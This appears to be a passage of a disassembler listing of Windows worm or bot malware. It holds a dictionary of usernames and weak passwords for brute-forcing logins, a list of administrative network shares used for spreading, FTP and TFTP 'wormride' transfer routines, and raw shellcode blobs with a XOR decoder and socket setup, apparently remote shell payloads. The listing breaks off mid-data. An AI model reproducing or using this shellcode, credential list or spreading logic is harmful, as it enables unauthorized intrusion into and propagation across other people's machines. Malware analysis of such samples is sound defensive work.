FOR sub_4154A8 ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h dword_415508 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40C225+2CDo dword_41551C dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_40C225+29Eo dword_415530 dd 65706970h, 736B775Ch, 637673h ; DATA XREF: sub_40C225+236o dword_41553C dd 24637069h, 0 ; DATA XREF: sub_40C225+1DFo dword_415544 dd 73255C5Ch, 5Ch ; DATA XREF: sub_40C225+1CCo ; sub_40C225+223o dword_41554C dd 2Eh ; DATA XREF: sub_40C225+1AFo dword_415550 dd 73255C5Ch, 0 ; DATA XREF: sub_40C225+18Fo dword_415558 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40C794+ADo dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4155A4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40C794+F2o ; --------------------------------------------------------------------------- loc_4155C0: ; DATA XREF: sub_40C794+124o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4155D4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40C794+14Do a5000 db '5000',0 ; DATA XREF: sub_40C794+28o align 10h byte_4155F0 db 90h ; DATA XREF: sub_40C90F+1Er ; sub_40C90F+49r ... dword_4155F1 dd 0 ; DATA XREF: sub_40C90F+77r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 0FD0000h, 27000000h, 1, 12Fh, 13700h dd 13F0000h, 40000000h, 1, 441h, 84200h, 2430000h, 45000000h dd 40h, 1046h, 204700h, 1480000h, 49000000h, 4, 84Ah, 24B00h dd 404D0000h, 4E000000h, 10h, 204Fh, 19800h, 19F0000h dd 91000000h, 5, 992h, 39300h, 41950000h, 96000000h, 11h dd 2197h, 99900h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dd offset aC_1 ; "c$" dd offset aD ; "d$" dd offset aE_0 ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" align 10h dd offset byte_417B60 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_1 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 8 aWinpass db 'winpass',0 ; DATA XREF: .data:00415A50o aBlank db 'blank',0 ; DATA XREF: .data:00415A4Co align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:00415A40o align 4 aNokia db 'nokia',0 ; DATA XREF: .data:00415A3Co align 4 aHp db 'hp',0 ; DATA XREF: .data:00415A38o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:00415A1Co align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00415A18o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:00415A0Co align 10h aDb2 db 'db2',0 ; DATA XREF: .data:00415A08o aDb1 db 'db1',0 ; DATA XREF: .data:00415A04o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00415A00o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:004159F8o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:004159F4o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:004159F0o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:004159E4o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: .data:004159E0o align 4 aHello db 'hello',0 ; DATA XREF: .data:004159D8o align 4 aHell db 'hell',0 ; DATA XREF: .data:004159D4o align 4 aLove db 'love',0 ; DATA XREF: .data:004159D0o align 4 aMoney db 'money',0 ; DATA XREF: .data:004159CCo align 4 aSlut db 'slut',0 ; DATA XREF: .data:004159C0o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:004159BCo align 4 aFuck db 'fuck',0 ; DATA XREF: .data:004159B8o align 4 aExchange db 'exchange',0 ; DATA XREF: .data:004159B4o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:004159A8o align 4 aLogin db 'login',0 ; DATA XREF: .data:004159A4o align 4 aQwe db 'qwe',0 ; DATA XREF: .data:00415940o aZxc db 'zxc',0 ; DATA XREF: .data:0041593Co aAsd db 'asd',0 ; DATA XREF: .data:00415938o aQaz db 'qaz',0 ; DATA XREF: .data:00415934o aWin2000 db 'win2000',0 ; DATA XREF: .data:00415930o aWinnt db 'winnt',0 ; DATA XREF: .data:0041592Co align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:00415928o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:00415924o align 4 aWin98 db 'win98',0 ; DATA XREF: .data:00415920o align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041591Co aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00415914o align 10h aOem db 'oem',0 ; DATA XREF: .data:0041590Co aAccounting db 'accounting',0 ; DATA XREF: .data:004158FCo align 10h aAccounts db 'accounts',0 ; DATA XREF: .data:004158F8o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:004158F4o aSex db 'sex',0 ; DATA XREF: .data:004158F0o ; .data:004159C4o aOutlook db 'outlook',0 ; DATA XREF: .data:004158E0o aMail db 'mail',0 ; DATA XREF: .data:004158DCo align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:004158D8o align 10h aTemp123 db 'temp123',0 ; DATA XREF: .data:004158D4o aTemp db 'temp',0 ; DATA XREF: .data:004158D0o align 10h aNull db 'null',0 ; DATA XREF: .data:004158CCo align 4 aDefault db 'default',0 ; DATA XREF: .data:004158BCo aChangeme db 'changeme',0 ; DATA XREF: .data:004158B8o align 4 aDemo db 'demo',0 ; DATA XREF: .data:004158A8o align 4 aTest db 'test',0 ; DATA XREF: .data:0041589Co align 4 a2005 db '2005',0 ; DATA XREF: .data:00415898o align 4 a2004 db '2004',0 ; DATA XREF: .data:00415894o align 4 a2001 db '2001',0 ; DATA XREF: .data:00415888o align 4 aSecret db 'secret',0 ; DATA XREF: .data:00415880o align 4 aPayday db 'payday',0 ; DATA XREF: .data:0041587Co align 4 aDeadline db 'deadline',0 ; DATA XREF: .data:00415878o align 10h aWork db 'work',0 ; DATA XREF: .data:00415874o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:00415870o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0041586Co align 10h a12345678 db '12345678',0 ; DATA XREF: .data:00415868o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:00415864o a123456 db '123456',0 ; DATA XREF: .data:00415860o align 4 a12345 db '12345',0 ; DATA XREF: .data:0041585Co align 4 a1234 db '1234',0 ; DATA XREF: .data:00415858o align 4 a123 db '123',0 ; DATA XREF: .data:00415854o a12 db '12',0 ; DATA XREF: .data:00415850o align 4 a1: ; DATA XREF: .data:0041584Co unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:00415848o aPwd db 'pwd',0 ; DATA XREF: .data:00415844o aPass db 'pass',0 ; DATA XREF: .data:00415840o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0041583Co align 4 aDba db 'dba',0 ; DATA XREF: .data:00415838o aPasswd db 'passwd',0 ; DATA XREF: .data:00415834o align 10h aPassword db 'password',0 ; DATA XREF: .data:00415830o ; .data:004174E0o align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:0041582Co align 4 aAbc db 'abc',0 ; DATA XREF: .data:00415828o aAb db 'ab',0 ; DATA XREF: .data:00415824o align 10h aA_1: ; DATA XREF: .data:00415820o unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:004157F8o align 4 aPrint db 'print$',0 ; DATA XREF: .data:004157F4o align 4 aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: .data:004157F0o aAdmin_0 db 'admin$',0 ; DATA XREF: .data:004157ECo align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .data:004157E8o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:004157E4o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .data:004157E0o align 4 aCWindows db 'c$\windows',0 ; DATA XREF: .data:004157DCo align 10h aCWinnt db 'c$\winnt',0 ; DATA XREF: .data:004157D8o align 4 aEShared db 'e$\shared',0 ; DATA XREF: .data:004157D4o align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:004157D0o align 4 aCShared db 'c$\shared',0 ; DATA XREF: .data:004157CCo align 10h aE_0 db 'e$',0 ; DATA XREF: .data:004157C8o align 4 aD db 'd$',0 ; DATA XREF: .data:004157C4o align 4 aC_1 db 'c$',0 ; DATA XREF: .data:004157C0o align 4 aStaff db 'staff',0 ; DATA XREF: .data:004157B8o ; .data:00415A70o align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:004157B4o ; .data:00415A6Co aOwner db 'owner',0 ; DATA XREF: .data:004157B0o ; .data:00415A68o align 4 aStudent db 'student',0 ; DATA XREF: .data:004157ACo ; .data:00415A64o aIntranet db 'intranet',0 ; DATA XREF: .data:004157A8o ; .data:00415A60o align 4 aLan_0 db 'lan',0 ; DATA XREF: .data:004157A0o ; .data:00415A58o aMain db 'main',0 ; DATA XREF: seg000:004107ACo ; seg000:004107E0o ... align 4 aOffice db 'office',0 ; DATA XREF: .data:00415798o ; .data:00415A48o align 4 aControl db 'control',0 ; DATA XREF: .data:00415794o ; .data:00415A44o aSiemens db 'siemens',0 ; DATA XREF: .data:00415790o ; .data:00415A34o aCompaq db 'compaq',0 ; DATA XREF: .data:0041578Co ; .data:00415A30o align 4 aDell db 'dell',0 ; DATA XREF: .data:00415788o ; .data:00415A2Co align 4 aCisco db 'cisco',0 ; DATA XREF: .data:00415784o ; .data:00415A28o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:00415780o ; .data:00415A24o aOracle db 'oracle',0 ; DATA XREF: .data:0041577Co ; .data:00415A20o align 10h aSql db 'sql',0 ; DATA XREF: .data:00415778o ; .data:00415A14o aSa db 'sa',0 ; DATA XREF: .data:00415774o ; .data:00415A10o align 4 aData db 'data',0 ; DATA XREF: .data:00415770o ; .data:004159FCo align 10h aAccess db 'access',0 ; DATA XREF: .data:0041576Co ; .data:004159ECo align 4 aDatabase db 'database',0 ; DATA XREF: .data:00415768o ; .data:004159E8o align 4 aDomain db 'domain',0 ; DATA XREF: .data:00415764o ; .data:004159DCo align 4 aGod db 'god',0 ; DATA XREF: .data:00415760o ; .data:004159C8o aBackup db 'backup',0 ; DATA XREF: .data:0041575Co ; .data:004159B0o align 4 aTechnical db 'technical',0 ; DATA XREF: .data:00415758o ; .data:004159ACo align 4 aMary db 'mary',0 ; DATA XREF: .data:00415754o ; .data:004159A0o align 4 aKatie db 'katie',0 ; DATA XREF: .data:00415750o ; .data:0041599Co align 4 aKate db 'kate',0 ; DATA XREF: .data:00415748o ; .data:00415994o align 4 aGeorge db 'george',0 ; DATA XREF: .data:00415744o ; .data:00415990o align 4 aEric db 'eric',0 ; DATA XREF: .data:00415740o ; .data:0041598Co align 4 aNone db 'none',0 ; DATA XREF: .data:0041573Co ; .data:004158A4o align 4 aGuest db 'guest',0 ; DATA XREF: .data:00415738o ; .data:004158A0o align 4 aChris db 'chris',0 ; DATA XREF: .data:00415734o ; .data:00415988o align 4 aIan db 'ian',0 ; DATA XREF: .data:00415730o ; .data:00415984o aNeil db 'neil',0 ; DATA XREF: .data:0041572Co ; .data:00415980o align 10h aLee db 'lee',0 ; DATA XREF: .data:00415728o ; .data:0041597Co aBrian db 'brian',0 ; DATA XREF: .data:00415724o ; .data:00415978o align 4 aSusan db 'susan',0 ; DATA XREF: .data:0041571Co ; .data:00415970o align 4 aSue db 'sue',0 ; DATA XREF: .data:00415718o ; .data:0041596Co aSam db 'sam',0 ; DATA XREF: .data:00415714o ; .data:00415968o aLuke db 'luke',0 ; DATA XREF: .data:00415710o ; .data:00415964o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0041570Co ; .data:00415720o ... align 4 aJohn db 'john',0 ; DATA XREF: .data:00415708o ; .data:0041595Co align 4 aMike db 'mike',0 ; DATA XREF: .data:00415704o ; .data:00415958o align 4 aBill db 'bill',0 ; DATA XREF: .data:00415700o ; .data:00415954o align 4 aFred db 'fred',0 ; DATA XREF: .data:004156FCo ; .data:00415950o align 4 aJoe db 'joe',0 ; DATA XREF: .data:004156F8o ; .data:0041594Co aJen db 'jen',0 ; DATA XREF: .data:004156F4o ; .data:00415948o aBob db 'bob',0 ; DATA XREF: .data:004156F0o ; .data:0041574Co ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:004156ECo ; .data:00415918o align 4 aOemuser db 'oemuser',0 ; DATA XREF: .data:004156E8o ; .data:00415910o aUser db 'user',0 ; DATA XREF: .data:004156E4o ; .data:00415908o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:004156E0o ; .data:00415904o align 10h aHome db 'home',0 ; DATA XREF: .data:004156DCo ; .data:00415900o align 4 aInternet db 'internet',0 ; DATA XREF: .data:004156D8o ; .data:004157A4o ... align 4 aWww db 'www',0 ; DATA XREF: .data:004156D4o ; .data:004158E8o aWeb db 'web',0 ; DATA XREF: .data:004156D0o ; .data:004158E4o aRoot db 'root',0 ; DATA XREF: .data:004156CCo ; .data:004158C8o align 4 aServer_0 db 'server',0 ; DATA XREF: .data:004156C8o ; .data:004158C4o align 4 aLinux db 'linux',0 ; DATA XREF: .data:004156C0o ; .data:004158B4o align 4 aUnix db 'unix',0 ; DATA XREF: .data:004156BCo ; .data:004158B0o align 4 aComputer db 'computer',0 ; DATA XREF: .data:004156B8o ; .data:004158ACo align 4 aAdm db 'adm',0 ; DATA XREF: .data:004156B4o ; .data:0041581Co aAdmin db 'admin',0 ; DATA XREF: .data:004156B0o ; .data:00415818o align 4 aAdmins db 'admins',0 ; DATA XREF: .data:004156ACo ; .data:00415814o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:004156A8o ; .data:00415810o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004156A4o ; .data:0041580Co align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:004156A0o ; .data:00415808o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041569Co ; .data:00415804o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_40CA47:loc_40CF00o a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_40CA47+48Ao dword_416008 dd 0C5020h ; DATA XREF: sub_40CA47:loc_40CEC9r dd 2 dup(0) unk_416014 db 2Dh ; - ; DATA XREF: sub_40CA47+463o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_40CA47+45Eo dword_416040 dd 148020h ; DATA XREF: sub_40CA47:loc_40CE0Er dd 2 dup(0) dword_41604C dd 20363232h, 0A0D2Dh ; DATA XREF: sub_40CA47+386o ; sub_40CA47+41Ao aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40CA47+353o db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_40CA47+2AAo ; sub_40CA47+3D3o dword_4160D0 dd 10FCA0h ; DATA XREF: sub_40CA47:loc_40CCE5r dd 2 dup(0) dword_4160DC dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_40CA47+270o dword_4160E8 dd 142FA0h ; DATA XREF: sub_40CA47:loc_40CC65r dd 2 dup(0) dword_4160F4 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_40CA47:loc_40CC5Bo dword_4160FC dd 7525h ; DATA XREF: sub_40CA47+201o aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40CA47+1BBo align 4 dword_416114 dd 104EE0h ; DATA XREF: sub_40CA47:loc_40CBE2r align 10h dword_416120 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_40CA47+191o dword_416128 dd 10B928h ; DATA XREF: sub_40CA47+189r dd 2 dup(0) dword_416134 dd 0A47A0h ; DATA XREF: sub_40CA47:loc_40CBC4r align 10h dword_416140 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_40CA47+173o dword_41614C dd 213E0h ; DATA XREF: sub_40CA47:loc_40CBB2r dd 0 dword_416154 dd 20313132h, 0A0D2Dh ; DATA XREF: sub_40CA47+161o dword_41615C dd 120F20h ; DATA XREF: sub_40CA47:loc_40CBA0r dd 2 dup(0) dword_416168 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_40CA47+14Fo dword_416170 dd 143CA0h ; DATA XREF: sub_40CA47+147r dd 2 dup(0) dword_41617C dd 20303332h, 0A0D2Dh ; DATA XREF: sub_40CA47+129o dword_416184 dd 10B998h ; DATA XREF: sub_40CA47:loc_40CB61r align 10h dword_416190 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_40CA47+110o dword_416198 dd 144220h ; DATA XREF: sub_40CA47+101r dd 2 dup(0) dword_4161A4 dd 0A0D20h ; DATA XREF: sub_40CA47+ACo dword_4161A8 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_40CA47+11o dword_4161B0 dd 303332h ; DATA XREF: sub_40CF3E+143o dword_4161B4 dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_40CF3E+F0o dword_4161C0 dd 313333h ; DATA XREF: sub_40CF3E+D1o dword_4161C4 dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_40CF3E+76o dword_4161D0 dd 303232h ; DATA XREF: sub_40CF3E+59o unk_4161D4 db 2Dh ; - ; DATA XREF: sub_40D09D+A4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_40D09D+44o align 4 aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_40D1B3+34o dword_41621C dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40D201+369o unk_416228 db 2Dh ; - ; DATA XREF: sub_40D201+34Bo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 4 aWormride db 'wormride',0 ; DATA XREF: sub_40D201+346o align 4 dword_416264 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40D201+1FEo aOctet db 'octet',0 ; DATA XREF: sub_40D201+1CEo align 10h unk_416280 db 2Dh ; - ; DATA XREF: sub_40D201+E5o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_40D5AA+2Bo align 10h loc_4162C0: ; DATA XREF: sub_40D700+3Eo jmp short loc_4162D7 ; --------------------------------------------------------------------------- loc_4162C2: ; CODE XREF: .data:loc_4162D7p mov ecx, 0 xor ecx, 0 pop esi loc_4162CE: ; CODE XREF: .data:004162D3j xor byte ptr [ecx+esi-1], 0 loop loc_4162CE jmp short near ptr dword_4162DC ; --------------------------------------------------------------------------- loc_4162D7: ; CODE XREF: .data:loc_4162C0j call loc_4162C2 ; --------------------------------------------------------------------------- dword_4162DC dd 0 ; CODE XREF: .data:004162D5j dword_4162E0 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40D628+7Eo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_416394 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40D628+4Do dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41645C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40D628+1Ao dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 10h dword_416510 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_40D7FD+5Bo dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 